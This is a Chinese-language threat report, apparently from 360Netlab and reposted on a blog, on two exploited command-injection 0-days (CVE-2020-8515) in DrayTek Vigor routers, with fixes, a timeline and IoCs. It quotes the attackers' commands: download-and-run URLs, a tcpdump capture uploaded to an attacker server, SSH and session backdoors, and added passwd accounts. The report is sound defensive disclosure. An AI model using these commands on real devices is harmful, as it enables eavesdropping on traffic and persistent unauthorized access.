DrayTek Vigor企业级路由器和交换机设备在野0-day 漏洞分析报告

一些网站https证书出现问题的情况分析
March 27, 2020
Two zero days are Targeting DrayTek Broadband CPE Devices
March 27, 2020

DrayTek Vigor企业级路由器和交换机设备在野0-day 漏洞分析报告

本文作者:马延龙叶根深刘宏达

背景介绍

从2019年12月4开始,360Netlab未知威胁检测系统持续监测到两个攻击团伙使用DrayTek Vigor企业级路由器和交换机设备0-day漏洞,窃听设备网络流量,开启SSH服务并创建系统后门账号,创建Web Session后门等恶意行为。

2020年12月25号,我们在Twitter[1][2]上披露了DrayTek Vigor在野0-day漏洞攻击IoC特征,并给相关国家CERT提供技术支持。

2020年2月10号,厂商DrayTek发布安全公告[3],修复了该漏洞并发布了最新的固件程序1.5.1。

漏洞分析

我们根据Firmware Total系统[4] 进行DrayTek Vigor在野0-day漏洞定位和模拟漏洞验证。其中2个0-day漏洞命令注入点keyPathrtick已经被厂商修复,它们均位于/www/cgi-bin/mainfunction.cgi程序中,对应的Web Server程序为/usr/sbin/lighttpd

keyPath 命令注入漏洞分析

漏洞类型:未授权远程命令执行漏洞
漏洞原因:DrayTek Vigor网络设备在登陆时支持2种账号密码传输方式,分别为明文传输和RSA加密传输。

当使用RSA加密传输时,交互逻辑为:

  1. Web前端使用RSA公钥对用户名和密码进行加密,并用keyPath字段指定RSA私钥的文件后缀,发起登陆请求;
  2. /www/cgi-bin/mainfunction.cgi程序中的formLogin()函数检测到keyPath字段不为空时,开始进行解密操作;
  3. formLogin()函数根据keyPath字段,拼接如下路径/tmp/rsa/private_key_<keyPath>作为RSA私钥;
  4. formLogin()函数分别对用户名、密码字段进行Base64解码,并写入到/tmp/rsa/binary_login文件中,然后拼接如下命令并通过openssl命令解密;
    openssl rsautl -inkey '/tmp/rsa/private_key_<keyPath>' -decrypt -in /tmp/rsa/binary_login
    
  5. 最后formLogin()函数读取解密后的用户名、密码进行验证。

由于在以上过程中对keyPath字段的危险字符过滤不完善,导致无需授权的远程命令执行。

漏洞修复:在1.5.1版本中,厂商对keyPath字段限定长度为30,并限定字符必须为十六进制字符。

rtick 命令注入漏洞分析

漏洞类型:未授权远程命令执行漏洞
漏洞原因:/www/cgi-bin/mainfunction.cgi程序中获取验证码的函数是formCaptcha(),该函数没有过滤传入的时间戳(rtick),就调用/usr/sbin/captcha程序生成以<rtick>.gif为名称的验证码图片,导致命令注入。

漏洞修复:在1.5.1版本中,厂商对rtick字段限定字符必须为[0-9]

在野0-day攻击行为分析

攻击者A

  1. 攻击者A利用keyPath命令注入漏洞,下载并执行http://103.82.143.51:58172/vig/tcpst1脚本,然后继续下载并执行以下脚本。
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
  1. 攻击者A通过脚本/etc/mailsend.sh,窃听DrayTek Vigor网络设备上所有网卡,端口为21,25,143,110的流量。
    其中抓包命令为:
    /usr/sbin/tcpdump -i any -n -nn port 21 or port 25 or port 143 or port 110 -s 65535 -w /data/firewall.pcap &
    在每周一,三,五,0点0分时,通过crontab计划任务上传窃听到网络数据包/data/firewall.pcaphttps://103.82.143.51:58443/uploLSkciajUS.php

攻击者B

  1. 攻击者B利用rtick命令注入漏洞,在/var/session.json文件中创建了2组永不过期的Web Session 后门;
json -f /var/session.json set 7:CBZD1SOMBUHVAF34TPDGURT9RTMLRUDK username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""""0""""/""0""/g /var/session.json | sed -i s/""""7""""/""7""/g /var/session.json
json -f /var/session.json set 7:R8GFPS6E705MEXZWVQ0IB1SM7JTRVE57 username=sadmin level=7 lasttime=0 updatetime=0 | sed -i s/""""0""""/""0""/g /var/session.json | sed -i s/""""7""""/""7""/g /var/session.json
  1. 攻击者B利用rtick注入漏洞,在TCP/22335,TCP/32459端口开启了SSH后门;
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 22335 | iptables -I PPTP_CTRL 1 -p tcp --dport 22335 -j ACCEPT
/usr/sbin/dropbear -r /etc/config/dropbear_rsa_host_key -p 32459 | iptables -I PPTP_CTRL 1 -p tcp --dport 32459 -j ACCEPT
  1. 攻击者创建了系统后门账号wuwuhanhan:caonimuqin
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$3u34GCgO$9Pklx3.3OVwbIBja/CzZN/:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;
sed -i /wuwuhanhan:/d /etc/passwd ; echo 'wuwuhanhan:$1$sbIljOP5$vacGOLqYAXcw3LWek9aJQ.:500:500:admin:/tmp:/usr/bin/clish' >> /etc/passwd ; cat /etc/passwd;

Web Session后门

我们根据攻击者B在野0-day PoC研究发现DrayTek Vigor网络设备在Session中设置updatetime为0时,对应的功能是Auto-Logout: Disable。此时,这个Session会话永不过期,除非设备重启。

时间线

2019年12月4号,我们发现攻击者A使用DrayTek Vigor网络设备0-day keyPath漏洞,窃听设备网络流量。
2019年12月25号,我们在Twitter上披露攻击者A的IoC特征,并给相关国家CERT提供技术支持。
2020年1月28号,我们发现攻击者B使用DrayTek Vigor网络设备0-day rtick漏洞,创建SSH和WEB后门。
2020年2月1号,MITRE发布Vigor路由器0-day漏洞编号CVE-2020-8515。
2020年2月10号,DrayTek发布安全公告和最新的固件程序。

受影响的固件列表

Vigor2960           <  v1.5.1
Vigor300B           <  v1.5.1
Vigor3900           <  v1.5.1
VigorSwitch20P2121  <= v2.3.2
VigorSwitch20G1280  <= v2.3.2
VigorSwitch20P1280  <= v2.3.2
VigorSwitch20G2280  <= v2.3.2
VigorSwitch20P2280  <= v2.3.2

处置建议

我们建议DrayTek Vigor用户及时检查并更新固件系统,同时检查是否存在tcpdump进程,SSH后门账号, Web Session后门等。

我们建议读者对相关IP和URL进行监控和封锁。

联系我们

感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

IoC list

MD5

7c42b66ef314c466c1e3ff6b35f134a4
01946d5587c2774418b5a6c181199099
d556aa48fa77040a03ab120b4157c007

URL

http://103.82.143.51:58172/vig/tcpst1
http://103.82.143.51:58172/vi1
http://103.82.143.51:58172/vig/mailsend.sh1
https://103.82.143.51:58443/LSOCAISJDANSB.php
https://103.82.143.51:58443/uploLSkciajUS.php

Scanner IP

103.82.143.51       	Korea                   ASN136209           	Korea Fast Networks 
178.151.198.73      	Ukraine             	ASN13188            	Content Delivery Network Ltd
News Reporter
News Reporter
Head of Operations (Banking), Director IT Governance, Teamlead Microsoft, Service Delivery Manager. Interested in Office 365, LAMP, IT Security and much more!